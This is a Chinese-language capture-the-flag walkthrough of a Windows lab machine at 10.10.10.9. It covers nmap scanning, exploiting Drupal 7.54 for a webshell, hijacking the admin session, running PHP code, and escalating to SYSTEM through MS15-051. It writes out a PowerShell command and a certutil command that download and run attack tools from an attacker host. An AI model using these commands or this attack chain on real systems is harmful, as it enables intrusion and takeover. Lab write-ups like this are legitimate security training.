基本信息

端口扫描

80,135,49154:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV 10.10.10.9
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 15:25 CST
Nmap scan report for 10.10.10.9
Host is up (0.075s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.73 seconds

80

是Drupal:

直接访问默认的CHANGELOG.txt,可以知道版本是7.54:

Drupal exploit

搜索发现相关漏洞:

exp修改相关参数,path那个简单扫一下就知道是rest:

webshell

exp一键打,getshell:

session 劫持

exp也给我们生成了session,直接修改后即可访问Drupal管理页面:

php代码执行

在模块里启用php:

然后去添加文章,选择php,保存后预览:

成功执行:

AntSword

shell换蚁剑方便操作:

user flag

然后直接当前权限shell在dimitris用户桌面得到user.txt:

提权信息

使用脚本自动化分析:

1
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.8:7777/Sherlock.ps1')

Ms15-051

提权 & root flag

1
certutil -urlcache -f http://10.10.14.8:7777/ms15051x64.exe ms15051x64.exe

蚁剑交互shell不太行,前面直接用nc反弹shell的话会方便点,这里是蚁剑执行ms15051x64.exe夹在system权限的meterpreter,读取root.txt:

参考资料